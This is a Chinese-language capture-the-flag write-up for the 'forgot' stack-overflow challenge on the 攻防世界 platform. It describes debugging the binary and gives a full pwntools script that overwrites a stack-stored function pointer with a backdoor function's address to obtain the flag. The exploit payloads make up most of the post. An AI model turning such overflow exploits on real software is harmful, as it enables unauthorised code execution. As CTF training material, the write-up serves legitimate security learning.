《攻防世界》forgot栈空间题

哈哈哈,讲下这题的思路,拿到题目又是一大堆的字符串显示在控制台上,本想着又是一道逻辑题,披着逆向算法的外套,害,没办法继续分析

前面输入name用了fgets函数但是限制输入长度了,所以直接忽略,然后就是输入一个数对其进行简单的小算法了,我显示分析了一波算法,然后根据出题人的提示说这个,但是我好像还是摸不清题目的漏洞在哪里,就一直摸摸摸,先是简单的看了下全局伪代码,加上程序运行状况,发现你输入的数就算是通过了9层判断条件好像也是一样的打印一些字符串

《攻防世界》forgot栈空间题

这十个函数里面都是一样的没什么区别

《攻防世界》forgot栈空间题

然后出题人那个提示我也不知道有什么关系,可能是我太菜了,没有找到题目真正的考点吧。。。发现程序没有什么特别之处,就直接进行溢出了

编写溢出payload代码

z('b *0x8048a61')
sla('> ','admin')
payload =   b'a'*0x74 + b'a' * 4 + p32(0x80486CC)
sla('> ',payload)

运行后发现程序在这个地方卡住了

《攻防世界》forgot栈空间题

看了下这时候的栈发现实际情况少填充了4位

《攻防世界》forgot栈空间题

但是我添加了4位数据后,程序依旧卡死在这个地方了,然后我就在这个地方下断点看看正常情况下这里的数据是什么

修改后payload

z('b *0x8048a61')
sla('> ','admin')
payload =   b'aaaa'
sla('> ',payload)
p.interactive()

《攻防世界》forgot栈空间题

发现它call了0x8048618,然后就跳转到这个地址了,上面一行发现这个值就是从栈里面取得,那么看看栈

《攻防世界》forgot栈空间题

这里不就是那十个变量的位置吗,那么根据ida得出相对距离,对刚才0x8048618地址进行覆盖成后门函数的地址

z('b *0x8048a61')
sla('> ','admin')
payload =   b'a' * (0x78-0x54) + p32(0x80486CC)

ok获取flag

最终payload

from pwn import *
from LibcSearcher import *

context (log_level = 'debug' ,bits=32 ,os = 'linux' ,arch = 'i386' ,terminal = ['tmux' , 'splitw', '-h'])
#context (log_level = 'debug' ,bits= 32,os = 'linux' ,arch = 'i386' ,terminal = ['gnome-terminal' , '-x','sh', '-c'])


# Interface
local = 1
binary_name = "forgot"
ip = "111.200.241.244"
port = 52418

if local:
        p = process(["./" + binary_name])
        e = ELF("./" + binary_name)
        # libc = e.libc
else:
        p = remote(ip, port)
        e = ELF("./" + binary_name)
        # libc = ELF("libc-2.23.so")


def z(a=''):
        if local:
                gdb.attach(p, a)
                if a == '':
                        raw_input()
        else:
                pass

ru = lambda x: p.recvuntil(x)
rc = lambda x: p.recv(x)
sl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sla = lambda delim, data: p.sendlineafter(delim, data)

z('b *0x8048a61')
sla('> ','admin')
payload =   b'a' * (0x78-0x54) + p32(0x80486CC)
sla('> ',payload)

p.interactive()
上一篇:python常见内置函数


下一篇:Spark学习之弹性分布式数据集RDD